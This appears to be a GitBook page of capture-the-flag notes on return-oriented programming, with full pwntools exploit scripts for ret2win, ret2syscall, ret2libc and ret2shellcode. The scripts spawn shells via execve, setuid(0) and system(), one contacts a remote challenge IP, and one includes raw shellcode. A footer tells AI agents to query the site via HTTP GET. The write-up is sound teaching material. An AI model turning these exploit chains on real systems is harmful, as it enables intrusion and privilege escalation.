# ROP

## Ret2Win

> Really bad summary

1. Get offset to override EIP
   1. Can be easily done with `pwn.cyclic`
2. Get address of `win` function&#x20;
   1. Depends whether ASLR is enabled, or else `symbols` from `pwntools` can do the trick
3. Get a gadget via ROPgadget (usually ret)
   1. `ROPgadget --binary x | grep ret`
4. Construct payload
   1. X amount of 'A's to override EIP
   2. addr\_of\_gadget (ret)
   3. addr\_of\_win
5. send and win

Sample Code

```python
from pwn import *

offset = 32 

binary = ELF("./EEEEEEEEEELMAOOOOOOOOOOOOO")
p  = binary.process()
win_addr = binary.symbols['win']
ret_addr = 0x000000000040101a

payload = b'A' * offset
payload += p64(ret_addr)
payload += p64(win_addr)

p.sendline(payload)
output = p.recvall()
print(output)
```

ROP chain with arguments

```python
from pwn import * 

offset = 120
bin = ELF('/ESSSSSSADDDDDDDDDDDDDDDDD')


pop_rdi_ret = 0x0000000000402a93
win_addr_1 = bin.symbols['win_stage_1']
win_addr_2 = bin.symbols['win_stage_2']
win_addr_3 = bin.symbols['win_stage_3']
win_addr_4 = bin.symbols['win_stage_4']
win_addr_5 = bin.symbols['win_stage_5']


payload = b"A" * offset
payload += p64(pop_rdi_ret) + p64(1) + p64(win_addr_1)
payload += p64(pop_rdi_ret) + p64(2) + p64(win_addr_2)
payload += p64(pop_rdi_ret) + p64(3) + p64(win_addr_3)
payload += p64(pop_rdi_ret) + p64(4) + p64(win_addr_4)
payload += p64(pop_rdi_ret) + p64(5) + p64(win_addr_5)

p = bin.process()
p.sendline(payload)
p.interactive()

```

&#x20;Visual Representation of the stack

```
Stack Layout After Payload:
---------------------------
+-----------------+
| ...             | <- Padding ("A" * offset)
|                 |
+-----------------+
| Return Address  | <- Points to pop_rdi_ret
| Argument (1)    |
| Function Address| <- win_addr_1
+-----------------+
| Return Address  | <- Points to pop_rdi_ret
| Argument (2)    |
| Function Address| <- win_addr_2
+-----------------+
| Return Address  | <- Points to pop_rdi_ret
| Argument (3)    |
| Function Address| <- win_addr_3
+-----------------+
| Return Address  | <- Points to pop_rdi_ret
| Argument (4)    |
| Function Address| <- win_addr_4
+-----------------+
| Return Address  | <- Points to pop_rdi_ret
| Argument (5)    |
| Function Address| <- win_addr_5
+-----------------+
```

## Ret2SysCall

> based on this [article ](https://chromium.googlesource.com/chromiumos/docs/+/master/constants/syscalls.md)

&#x20;Syscall Strings

* x86 (int 0x80)
* x86\_64 (syscall)

Example : Calling execve with the use of syscalls to obtain a shell

For x64

1. Get ROP gadgets and their addresses
   1. E.g `ROPgadget --binary aasdasd | grep "pop rax; ret"`
2. Setting the registers to the appropriate value

   1. Extracted from[ here](https://chromium.googlesource.com/chromiumos/docs/+/master/constants/syscalls.md)

   | execve | 0x3b | /bin/sh | 0 | 0 |
   | ------ | :--: | ------- | - | - |
3. Crafting the exploit

{% code overflow="wrap" lineNumbers="true" %}

```python
from pwn import *

offset =  80
bin = ELF('/challenge/babyrop_level4.0')

p = bin.process()
stack_leak = p.recvline_startswith(b'[LEAK] Your input buffer is located at:')

payload = b'/bin/sh\x00'  
payload += b"A" * offset
print(stack_leak)
#My addresses
pop_rax = 0x0000000000401fad
pop_rdi = 0x0000000000401fd5
bin_sh = stack_leak.split()[-1][:-1].decode()
bin_sh = int(bin_sh, 16)
pop_rsi = 0x0000000000401fcd
pop_rdx = 0x0000000000401fa5
syscall = 0x0000000000401fb5
ret = 0x000000000040101a
#setuid(0) - So that I can run the binary as root
payload += p64(pop_rax) + p64(0x69) 
payload += p64(pop_rdi) +p64(0)
payload += p64(syscall) 
#execve('/bin/sh',0,0)
payload += p64(pop_rax) + p64(0x3b) 
payload += p64(pop_rdi) +p64(bin_sh)
payload += p64(pop_rsi) + p64(0) 
payload += p64(pop_rdx) + p64(0) 
payload += p64(syscall) 

p.sendline(payload)
p.interactive()

```

{% endcode %}

Alternatively, if `/bin/sh` is not on the binary, we can use other functions such as `read()` and `gets()` to write to .bss

<pre class="language-python"><code class="lang-python"><strong>#Syscall to READ first
</strong>payload += p64(pop_rax) + p64(0x00) 
payload += p64(pop_rdi) +p64(0x00)
#addr of bss via elf.bss()
payload += p64(pop_rsi) + p64(addr_bss) 
payload += p64(pop_rdx) + p64(0x8) 
payload += p64(syscall) 
#Rest of the normal syscall payload
p.sendline(payload)
#Sending /bin/sh string to stdin
p.sendline(b'/bin/sh\x00')

</code></pre>

## Ret2Libc

<pre class="language-python"><code class="lang-python">#!/usr/bin/env python3
<strong>from pwn import *
</strong>
exe = ELF("./pet_companion_patched")
libc = ELF("./libc.so.6")
ld = ELF("./ld-linux-x86-64.so.2")
context.binary = exe
# p = process('./pet_companion_patched')
p = remote('94.237.58.155',32207)
# gdb.attach(p)
offset = 72 
POP_RSI = 0x400741
POP_RDI = 0x400743
write_plt = exe.sym["write"]
main = exe.sym["main"]
write_got = exe.got["write"]

payload = b"A" * offset 
payload += p64(POP_RSI)
payload += p64(write_got)
payload += p64(0x0)
payload += p64(write_plt)
#Returning to main
payload += p64(main)

p.recvuntil(b"status:")
p.clean()
p.sendline(payload)
p.recvuntil(b'Configuring...\n\n')
write_leak = u64(p.read(8))
write_offset = libc.sym["write"]
#using write to leak libc address
libc.address = write_leak - write_offset

bin_sh = next(libc.search(b"/bin/sh")) 
system = libc.symbols['system'] # getting system() in libc addr

second_payload = b'A' * offset
#Might need to use other ROP gadgets to clear registers for certain function calls 
second_payload += p64(POP_RDI)
second_payload += p64(bin_sh)
second_payload += p64(system)
p.recvuntil(b"status:")
p.clean()
p.sendline(second_payload)
p.interactive()
 

</code></pre>

### Ret2ShellCode

```c
from pwn import *

offset = 40 
target = process('./pilot')
file = ELF('./pilot')
context.binary = ELF('./pilot')

target.recvuntil("[*]Location:")
leak = int(target.recvline()[:-1],16) #Leak of the address that is being written to 
shellcode = asm(shellcraft.sh()) #crafting my shellcode, must be below 40 bytes
print(len(shellcode))
# shellcode = b"\x31\xf6\x48\xbf\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdf\xf7\xe6\x04\x3b\x57\x54\x5f\x0f\x05" 
nop_slide = asm('nop') * (offset - len(shellcode)) #nop slide to go to my shellcode
payload = b""
payload += shellcode
payload += b'A' * (offset - len(shellcode)) #serves the same purpose of my shellcode
payload += p64(leak) #goes to the address of the leak thus executing my shell code
target.send(payload)
target.interactive()
```

* Length of shellcode must be below the offset to override EIP/RIP (40 in this case)
* NOP/padding slide is used to ensure that the the execution is smooth![](/files/eH3xO4ePf8LIWOCiPseC)


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://xenon-2.gitbook.io/writeups/binary-exploitation/rop.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
